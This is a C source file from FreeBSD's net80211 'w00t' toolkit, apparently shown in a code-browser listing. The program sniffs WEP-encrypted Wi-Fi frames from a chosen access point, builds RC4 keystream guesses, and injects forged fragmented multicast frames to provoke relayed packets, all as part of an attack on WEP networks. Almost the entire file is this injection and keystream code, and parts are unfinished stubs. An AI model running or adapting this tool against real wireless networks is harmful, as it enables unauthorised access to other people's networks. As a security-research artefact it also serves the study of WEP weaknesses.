1 /*- 2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk> 3 * All rights reserved. 4 * 5 * Redistribution and use in source and binary forms, with or without 6 * modification, are permitted provided that the following conditions 7 * are met: 8 * 1. Redistributions of source code must retain the above copyright 9 * notice, this list of conditions and the following disclaimer. 10 * 2. Redistributions in binary form must reproduce the above copyright 11 * notice, this list of conditions and the following disclaimer in the 12 * documentation and/or other materials provided with the distribution. 13 * 14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 24 * SUCH DAMAGE. 25 * 26 * $FreeBSD: src/tools/tools/net80211/w00t/expand/expand.c,v 1.2 2009/07/24 15:31:22 sam Exp $ 27 */ 28 #include <sys/time.h> 29 #include <sys/types.h> 30 #include <sys/socket.h> 31 #include <sys/uio.h> 32 #include <netinet/in.h> 33 #include <arpa/inet.h> 34 #include <netinet/in_systm.h> 35 #include <netinet/ip.h> 36 #include <string.h> 37 #include <stdio.h> 38 #include <stdlib.h> 39 #include <unistd.h> 40 #include <fcntl.h> 41 #include <err.h> 42 #include <assert.h> 43 #include <zlib.h> 44 #include "w00t.h" 45 46 enum { 47 S_START = 0, 48 S_WAIT_RELAY, 49 }; 50 51 struct queue { 52 struct ieee80211_frame *wh; 53 int len; 54 55 char *buf; 56 int live; 57 struct queue *next; 58 }; 59 60 struct params { 61 int rx; 62 int tx; 63 64 int tap; 65 66 char mcast[5]; 67 char mac[6]; 68 char ap[6]; 69 70 char prga[2048]; 71 int prga_len; 72 73 int state; 74 75 struct queue *q; 76 77 char packet[2048]; 78 int packet_len; 79 struct timeval last; 80 81 int seq; 82 83 unsigned char guess; 84 }; 85 86 int wanted(struct params *p, struct ieee80211_frame *wh, int len) 87 { 88 char *bssid, *sa; 89 90 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { 91 bssid = wh->i_addr1; 92 sa = wh->i_addr2; 93 } 94 else { 95 bssid = wh->i_addr2; 96 sa = wh->i_addr3; 97 } 98 99 if (memcmp(bssid, p->ap, 6) != 0) 100 return 0; 101 102 if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) { 103 printf("Got non WEP packet...\n"); 104 return 0; 105 } 106 107 /* my own shit */ 108 if (memcmp(p->mac, sa, 6) == 0) 109 return 0; 110 111 return 1; 112 } 113 114 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len) 115 { 116 struct queue *q = p->q; 117 int qlen = 0; 118 char *ret = NULL; 119 struct queue *last = NULL; 120 121 /* find a slot */ 122 while (q) { 123 if (q->live) 124 qlen++; 125 else { 126 /* recycle */ 127 ret = q->buf; 128 break; 129 } 130 131 last = q; 132 q = q->next; 133 } 134 135 /* need to create slot */ 136 if (!q) { 137 q = (struct queue*) malloc(sizeof(*q)); 138 if (!q) 139 err(1, "malloc()"); 140 memset(q, 0, sizeof(*q)); 141 142 /* insert */ 143 if (!p->q) 144 p->q = q; 145 else { 146 assert(last); 147 last->next = q; 148 } 149 } 150 151 q->live = 1; 152 q->buf = *buf; 153 q->len = len; 154 q->wh = wh; 155 156 qlen++; 157 158 if (qlen > 5) 159 printf("Enque. Size: %d\n", qlen); 160 *buf = ret; 161 } 162 163 void send_packet(struct params *p) 164 { 165 int rc; 166 167 rc = inject(p->tx, p->packet, p->packet_len); 168 if (rc == -1) 169 err(1, "inject()"); 170 if (rc != p->packet_len) { 171 printf("Wrote %d/%d\n", rc, p->packet_len); 172 exit(1); 173 } 174 175 if (gettimeofday(&p->last, NULL) == -1) 176 err(1, "gettimeofday()"); 177 } 178 #include <openssl/rc4.h> 179 void send_mcast(struct params *p, unsigned char x) 180 { 181 struct ieee80211_frame *wh; 182 short *seq; 183 struct queue *q = p->q; 184 char *data, *ptr; 185 int len; 186 uLong crc = crc32(0L, Z_NULL, 0); 187 uLong *pcrc; 188 int i; 189 int need_frag = 0; 190 char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00"; 191 192 assert(q); 193 194 /* 802.11 */ 195 memset(p->packet, 0, sizeof(p->packet)); 196 wh = (struct ieee80211_frame*) p->packet; 197 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 198 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; 199 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; 200 wh->i_fc[1] |= IEEE80211_FC1_WEP; 201 202 wh->i_dur[0] = 0x69; 203 204 memcpy(wh->i_addr1, p->ap, 6); 205 memcpy(wh->i_addr2, p->mac, 6); 206 memcpy(wh->i_addr3, p->mcast, 5); 207 wh->i_addr3[5] = x; 208 209 seq = (short*) wh->i_seq; 210 *seq = seqfn(p->seq++, 0); 211 212 /* IV */ 213 data = (char*) (wh+1); 214 ptr = (char*) (q->wh+1); 215 memcpy(data, ptr, 3); 216 217 if (p->prga_len == 0) { 218 219 RC4_KEY k; 220 unsigned char key[8]; 221 222 memset(&key[3], 0x61, 5); 223 memcpy(key, (q->wh+1), 3); 224 p->prga_len = 128; 225 226 RC4_set_key(&k, 8, key); 227 memset(p->prga, 0, sizeof(p->prga)); 228 RC4(&k, p->prga_len, p->prga, p->prga); 229 230 231 #if 0 232 int ptl = q->len; 233 char *pt; 234 235 pt = known_pt(q->wh, &ptl); 236 ptr += 4; 237 p->prga_len = ptl; 238 for (i = 0; i < p->prga_len; i++) 239 p->prga[i] = ptr[i] ^ pt[i]; 240 #endif 241 } 242 243 /* data */ 244 data += 4; 245 memcpy(data, payload, sizeof(payload)); 246 p->prga_len = 12; 247 len = p->prga_len + 1 - 4; 248 249 #if 1 250 if (len < sizeof(payload)) { 251 need_frag = len; 252 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; 253 } 254 #endif 255 256 /* crc */ 257 pcrc = (uLong*) (data+len); 258 *pcrc = crc32(crc, data, len); 259 260 /* wepify */ 261 len += 4; 262 for (i = 0; i < (len); i++) { 263 assert( i <= p->prga_len); 264 data[i] ^= p->prga[i]; 265 } 266 // data[i] ^= x; 267 268 len += sizeof(*wh); 269 p->packet_len = len + 4; 270 send_packet(p); 271 272 /* the data we sent is too fucking short */ 273 if (need_frag) { 274 memset(data, 0, len); 275 276 /* 802.11 */ 277 *seq = seqfn(p->seq-1, 1); 278 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; 279 280 /* data */ 281 len = sizeof(payload) - need_frag; 282 assert(len > 0 && len <= (p->prga_len - 4)); 283 memcpy(data, &payload[need_frag], len); 284 285 /* crc */ 286 crc = crc32(0L, Z_NULL, 0); 287 len = p->prga_len - 4; 288 pcrc = (uLong*) (data+len); 289 *pcrc = crc32(crc, data, len); 290 291 /* wepify */ 292 len += 4; 293 for (i = 0; i < len; i++) { 294 assert( i < p->prga_len); 295 data[i] ^= p->prga[i]; 296 } 297 298 len += sizeof(*wh) + 4; 299 p->packet_len = len; 300 send_packet(p); 301 } 302 } 303 304 void send_queue(struct params *p) 305 { 306 struct queue *q = p->q; 307 int i; 308 309 assert(q); 310 assert(q->live); 311 312 for (i = 0; i < 5; i++) { 313 send_mcast(p, p->guess++); 314 } 315 316 p->state = S_WAIT_RELAY; 317 } 318 319 void got_mcast(struct params *p, struct ieee80211_frame *wh, int len) 320 { 321 printf("ao\n"); 322 } 323 324 void read_wifi(struct params *p) 325 { 326 static char *buf = 0; 327 static int buflen = 4096; 328 struct ieee80211_frame *wh; 329 int rc; 330 331 if (!buf) { 332 buf = (char*) malloc(buflen); 333 if (!buf) 334 err(1, "malloc()"); 335 } 336 337 rc = sniff(p->rx, buf, buflen); 338 if (rc == -1) 339 err(1, "sniff()"); 340 341 wh = get_wifi(buf, &rc); 342 if (!wh) 343 return; 344 345 /* relayed macast */ 346 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA, 347 IEEE80211_FC0_SUBTYPE_DATA) && 348 (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && 349 (memcmp(wh->i_addr2, p->ap, 6) == 0) && 350 (memcmp(wh->i_addr1, p->mcast, 5) == 0) && 351 (memcmp(p->mac, wh->i_addr3, 6) == 0)) { 352 got_mcast(p, wh, rc); 353 return; 354 } 355 356 /* data */ 357 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA, 358 IEEE80211_FC0_SUBTYPE_DATA)) { 359 if (!wanted(p, wh, rc)) 360 return; 361 362 enque(p, &buf, wh, rc); 363 if (p->state == S_START) 364 send_queue(p); 365 return; 366 } 367 } 368 369 void own(struct params *p) 370 { 371 struct timeval tv; 372 struct timeval *to = NULL; 373 fd_set fds; 374 int tout = 10*1000; 375 376 if (p->state == S_WAIT_RELAY) { 377 int el; 378 379 /* check timeout */ 380 if (gettimeofday(&tv, NULL) == -1) 381 err(1, "gettimeofday()"); 382 383 el = elapsed(&p->last, &tv); 384 385 /* timeout */ 386 if (el >= tout) { 387 if (p->q && p->q->live) { 388 send_queue(p); 389 el = 0; 390 } else { 391 p->state = S_START; 392 return; 393 } 394 } 395 el = tout - el; 396 tv.tv_sec = el/1000/1000; 397 tv.tv_usec = el - tv.tv_sec*1000*1000; 398 to = &tv; 399 } 400 401 FD_ZERO(&fds); 402 FD_SET(p->rx, &fds); 403 404 if (select(p->rx+1, &fds, NULL, NULL, to) == -1) 405 err(1, "select()"); 406 407 if (FD_ISSET(p->rx, &fds)) 408 read_wifi(p); 409 } 410 411 void usage(char *name) 412 { 413 printf("Usage %s <opts>\n" 414 "-h\thelp\n" 415 "-b\t<bssid>\n" 416 "-t\t<tap>\n" 417 , name); 418 exit(1); 419 } 420 421 int main(int argc, char *argv[]) 422 { 423 struct params p; 424 char *iface = "wlan0"; 425 char *tap = "tap0"; 426 int ch; 427 428 memset(&p, 0, sizeof(p)); 429 memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6); 430 p.seq = getpid(); 431 memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5); 432 433 while ((ch = getopt(argc, argv, "hb:t:")) != -1) { 434 switch (ch) { 435 case 't': 436 tap = optarg; 437 break; 438 439 case 'b': 440 if (str2mac(p.ap, optarg) == -1) { 441 printf("Can't parse BSSID\n"); 442 exit(1); 443 } 444 break; 445 446 case 'h': 447 default: 448 usage(argv[0]); 449 break; 450 } 451 } 452 453 if ((p.rx = open_rx(iface)) == -1) 454 err(1, "open_rx()"); 455 if ((p.tx = open_tx(iface)) == -1) 456 err(1, "open_tx()"); 457 458 if ((p.tap = open_tap(tap)) == -1) 459 err(1, "open_tap()"); 460 if (set_iface_mac(tap, p.mac) == -1) 461 err(1, "set_iface_mac()"); 462 463 p.state = S_START; 464 while (1) 465 own(&p); 466 467 exit(0); 468 } 469